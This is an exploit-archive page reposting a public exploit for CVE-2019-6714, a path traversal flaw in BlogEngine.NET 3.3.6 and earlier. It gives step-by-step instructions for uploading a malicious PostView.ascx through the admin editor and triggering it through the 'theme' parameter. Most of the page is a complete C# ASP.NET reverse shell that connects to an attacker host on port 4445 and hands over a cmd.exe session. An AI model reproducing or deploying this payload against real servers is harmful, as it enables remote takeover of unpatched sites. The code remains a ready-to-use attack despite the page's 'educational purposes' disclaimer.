Blogengine.net 3.3.6 directory traversal / remote code execution Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-02-12 | Type : webapps | Platform : aspx
This exploit / vulnerability Blogengine.net 3.3.6 directory traversal / remote code execution is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: BlogEngine.NET <= 3.3.6 Directory Traversal RCE
# Date: 02-11-2019
# Exploit Author: Dustin Cobb
# Vendor Homepage: https://github.com/rxtur/BlogEngine.NET/
# Software Link: https://github.com/rxtur/BlogEngine.NET/releases/download/v3.3.6.0/3360.zip
# Version: <= 3.3.6
# Tested on: Windows 2016 Standard / IIS 10.0
# CVE : CVE-2019-6714

/*
* CVE-2019-6714
*
* Path traversal vulnerability leading to remote code execution. This
* vulnerability affects BlogEngine.NET versions 3.3.6 and below. This
* is caused by an unchecked "theme" parameter that is used to override
* the default theme for rendering blog pages. The vulnerable code can
* be seen in this file:
*
* /Custom/Controls/PostList.ascx.cs
*
* Attack:
*
* First, we set the TcpClient address and port within the method below to
* our attack host, who has a reverse tcp listener waiting for a connection.
* Next, we upload this file through the file manager. In the current (3.3.6)
* version of BlogEngine, this is done by editing a post and clicking on the
* icon that looks like an open file in the toolbar. Note that this file must
* be uploaded as PostView.ascx. Once uploaded, the file will be in the
* /App_Data/files directory off of the document root. The admin page that
* allows upload is:
*
* http://10.10.10.10/admin/app/editor/editpost.cshtml
*
*
* Finally, the vulnerability is triggered by accessing the base URL for the
* blog with a theme override specified like so:
*
* http://10.10.10.10/?theme=../../App_Data/files
*
*/

<%@ Control Language="C#" AutoEventWireup="true" EnableViewState="false" Inherits="BlogEngine.Core.Web.Controls.PostViewBase" %>
<%@ Import Namespace="BlogEngine.Core" %>

<script runat="server">
static System.IO.StreamWriter streamWriter;

protected override void OnLoad(EventArgs e) {
base.OnLoad(e);

using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("10.10.10.20", 4445)) {
using(System.IO.Stream stream = client.GetStream()) {
using(System.IO.StreamReader rdr = new System.IO.StreamReader(stream)) {
streamWriter = new System.IO.StreamWriter(stream);

StringBuilder strInput = new StringBuilder();

System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();

while(true) {
strInput.Append(rdr.ReadLine());
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}

private static void CmdOutputDataHandler(object sendingProcess, System.Diagnostics.DataReceivedEventArgs outLine) {
StringBuilder strOutput = new StringBuilder();

if (!String.IsNullOrEmpty(outLine.Data)) {
try {
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
} catch (Exception err) { }
}
}

</script>
<asp:PlaceHolder ID="phContent" runat="server" EnableViewState="false"></asp:PlaceHolder>